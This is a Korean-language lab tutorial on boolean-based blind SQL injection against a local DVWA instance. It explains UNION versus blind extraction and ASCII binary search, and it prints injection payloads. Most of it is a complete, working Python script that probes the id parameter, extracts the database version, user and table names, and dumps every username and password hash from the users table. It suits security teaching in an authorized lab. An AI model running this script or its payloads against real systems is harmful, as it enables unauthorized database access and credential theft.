글자당 요청 7번으로 줄이는 블라인드 SQLi 이분 탐색
🛡️ 강사 제공 인가된 실습 환경에서 수행
로컬 실습 환경(DVWA) 전용 학습 자료다. 허가받지 않은 시스템에 쓰면 안 된다.
| URL | http://192.168.10.105/dvwa/vulnerabilities/sqli_blind/ (파라미터 id) |
| 환경 | DVWA v1.0.7 / PHP 5.2.4 / Apache 2.2.8, security=low |
| 취약점 | Boolean-based Blind SQL Injection |
데이터가 화면에 보이느냐 안 보이느냐
두 방식이 갈리는 이유는 딱 하나다 — 결과 데이터를 화면에서 직접 볼 수 있는가.
| 구분 | UNION 기반 | Blind 기반 |
|---|---|---|
| 데이터 보임? | 화면에 직접 출력 | 안 보임 (참/거짓만) |
| 뽑는 방법 | 컬럼을 결과 자리에 끼워넣음 | 예/아니오 질문 반복 |
| 속도 | 한 번에 다 | 글자당 최대 7번 질문 → 자동화 필수 |
| 언제 씀 | 결과가 화면에 나올 때 | 결과는 숨기고 참/거짓 반응만 다를 때 |
UNION 기반은 이렇게 원래 쿼리 결과 자리에 원하는 데이터를 끼워 넣어 화면에 그대로 출력시킨다.
1' UNION SELECT user, password FROM users-- -
admin / 5f4dcc3b... 처럼 값이 직접 찍혀 나오고, 한 번에 다 보인다.
반면 sqli_blind 페이지는 이름 그대로 데이터를 화면에 안 보여준다. 알려주는 건 두 가지 상태뿐이다.
| 입력 | 화면 출력 | 의미 |
|---|---|---|
1' AND '1'='1 | First name: admin 이 나옴 | 참 (TRUE) |
1' AND '1'='2 | 아무것도 안 나옴 | 거짓 (FALSE) |
실제 데이터 글자는 절대 안 보이므로 UNION처럼 값을 띄울 수 없다. 대신 예/아니오로만 답하는 상대에게 스무고개를 한다.
스무고개로 글자를 알아내는 원리
데이터를 직접 못 보니 이렇게 질문을 던진다.
1' AND (비밀번호 첫 글자의 ASCII 코드) > 100 -- -
- 데이터가 나오면(참) → “첫 글자 코드는 100보다 크다”
- 안 나오면(거짓) → “100 이하다”
한 번의 질문으로 한 글자에 대한 예/아니오 정보 하나만 얻는다. 그래서 글자를 하나 확정한 뒤 다음 글자로 넘어가는 구조라, 화면에 a → ad → adm → admi … 이렇게 한 글자씩 쌓인다.
이분 탐색
글자 하나는 ASCII 32~126 범위다. 하나씩 물으면 최대 95번. 대신 범위를 반씩 자른다.
"79보다 커?" → 응(참). 범위 80~126
"103보다 커?" → 아니(거짓). 범위 80~103
"91보다 커?" → 응(참). 범위 92~103
...
반씩 줄이면 글자당 딱 7번이면 확정된다 (2^7 = 128 > 95).
비밀번호를 뽑기 전에 LENGTH() 로 문자열 길이를 먼저 알아내야 몇 글자를 반복할지 정할 수 있다. 이 길이 알아내기도 똑같이 이분 탐색으로 한다.
코드 구조
is_true() — 예/아니오 질문 던지기
def is_true(condition): # ← "예/아니오" 질문 함수
payload = f"1' AND ({condition})-- -" # AND 뒤에 내 질문을 붙이고
r = requests.get(BASE_URL, params={"id": payload, ...})
return TRUE_MARKER in r.text # "First name" 있으면 참, 없으면 거짓
extract_char() — 글자 하나를 이분 탐색으로 확정
def extract_char(subquery, pos):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"ASCII(SUBSTRING(({subquery}),{pos},1)) > {mid}"):
lo = mid + 1 # "mid보다 크다" → 아래 범위 버림
else:
hi = mid # "mid 이하다" → 위 범위 버림
return chr(lo) # 한 점으로 좁혀지면 그게 정답 글자
핵심 SQL 함수는 두 개다.
SUBSTRING((서브쿼리), pos, 1)— 결과 문자열에서pos번째 한 글자만 잘라냄ASCII(...)— 그 글자를 숫자로 바꿔 부등호 비교가 가능하게 함
extract() — 글자들을 모아 문자열 완성
def extract(subquery, label):
length = extract_length(subquery) # 먼저 길이를 알아내고 (이것도 이분 탐색)
for pos in range(1, length + 1): # 1번째 글자부터 끝까지
result += extract_char(subquery, pos) # 한 글자씩 확정해서 이어붙임
print(result) # ← 한 글자씩 쌓이는 그 출력
전체 코드
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA Boolean-based Blind SQL Injection 자동 추출 스크립트
대상: http://192.168.10.105/dvwa/vulnerabilities/sqli_blind/ (id 파라미터)
* 로컬 실습(DVWA) 환경 전용. 허가받지 않은 시스템에 사용 금지.
* 참/거짓 판정: 응답 본문에 "First name" 문자열이 있으면 TRUE(데이터 반환),
없으면 FALSE.
"""
import requests
import string
import sys
requests.packages.urllib3.disable_warnings()
# ────────────────────────────── 설정 ──────────────────────────────
TARGET = "192.168.10.105"
BASE_URL = f"http://{TARGET}/dvwa/vulnerabilities/sqli_blind/"
COOKIES = {
"security": "low",
"PHPSESSID": "<SESSION_ID>", # ← 세션 만료 시 교체
}
HEADERS = {
"User-Agent": ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/146.0.0.0 Safari/537.36"),
}
TRUE_MARKER = "First name" # 응답에 이 문자열이 있으면 조건이 참
# ────────────────────────────────────────────────────────────────
def is_true(condition: str) -> bool:
"""id=1' AND (<condition>) -- - 형태로 주입 후 참/거짓 판정."""
payload = f"1' AND ({condition})-- -"
r = requests.get(
BASE_URL,
params={"id": payload, "Submit": "Submit"},
headers=HEADERS,
cookies=COOKIES,
verify=False,
)
return TRUE_MARKER in r.text
def extract_length(subquery: str, max_len: int = 200) -> int:
"""대상 서브쿼리 결과의 문자열 길이를 이분 탐색으로 알아낸다."""
lo, hi = 0, max_len
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"LENGTH(({subquery})) > {mid}"):
lo = mid + 1
else:
hi = mid
return lo
def extract_char(subquery: str, pos: int) -> str:
"""지정 위치(pos, 1-base) 한 글자를 ASCII 이분 탐색으로 추출한다."""
lo, hi = 32, 126 # 출력 가능한 ASCII 범위
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"ASCII(SUBSTRING(({subquery}),{pos},1)) > {mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
def extract(subquery: str, label: str = "") -> str:
"""서브쿼리 결과 문자열 전체를 한 글자씩 추출한다."""
length = extract_length(subquery)
if length == 0:
print(f"[!] '{label or subquery}' 결과 없음(빈 값)")
return ""
result = ""
for pos in range(1, length + 1):
ch = extract_char(subquery, pos)
result += ch
# 진행 상황을 실시간으로 표시
sys.stdout.write(f"\r[*] {label or subquery} ({pos}/{length}): {result}")
sys.stdout.flush()
print()
return result
def dump_users():
"""users 테이블의 계정/비밀번호 해시를 모두 덤프한다."""
count = int(extract("SELECT COUNT(*) FROM users", "user count") or 0)
print(f"[+] users 테이블 행 수: {count}\n")
creds = []
for i in range(count):
# 행 하나를 user:hash 형태로 이어붙여 한 번에 추출
row_q = (f"SELECT CONCAT(user,0x3a,password) FROM users "
f"LIMIT {i},1")
row = extract(row_q, f"row {i}")
creds.append(row)
print("\n========== 덤프 결과 ==========")
for c in creds:
print(c)
def main():
# 0) 취약점/주입 동작 확인
if not is_true("1=1"):
print("[!] 참 조건이 TRUE로 판정되지 않음 — 쿠키/마커 설정 확인 필요")
sys.exit(1)
if is_true("1=2"):
print("[!] 거짓 조건이 TRUE로 판정됨 — 마커 설정 확인 필요")
sys.exit(1)
print("[+] Blind SQLi 주입 정상 동작 확인 (1=1→참, 1=2→거짓)\n")
# 1) DB 기본 정보
print("── DB 정보 수집 ──")
extract("SELECT VERSION()", "DB 버전")
extract("SELECT DATABASE()", "현재 DB")
extract("SELECT CURRENT_USER()", "현재 사용자")
print()
# 2) 현재 DB의 테이블 목록
print("── 테이블 목록 ──")
extract("SELECT GROUP_CONCAT(table_name) FROM information_schema.tables "
"WHERE table_schema=DATABASE()", "테이블")
print()
# 3) users 테이블 계정/해시 덤프
print("── users 테이블 덤프 ──")
dump_users()
if __name__ == "__main__":
main()
한 줄 요약
UNION은 “답을 보여줘”, Blind는 “답은 안 보여주니 스무고개로 알아낸다”. 사람이 스무고개를 수천 번 하긴 힘드니 파이썬으로 자동화한 것이다.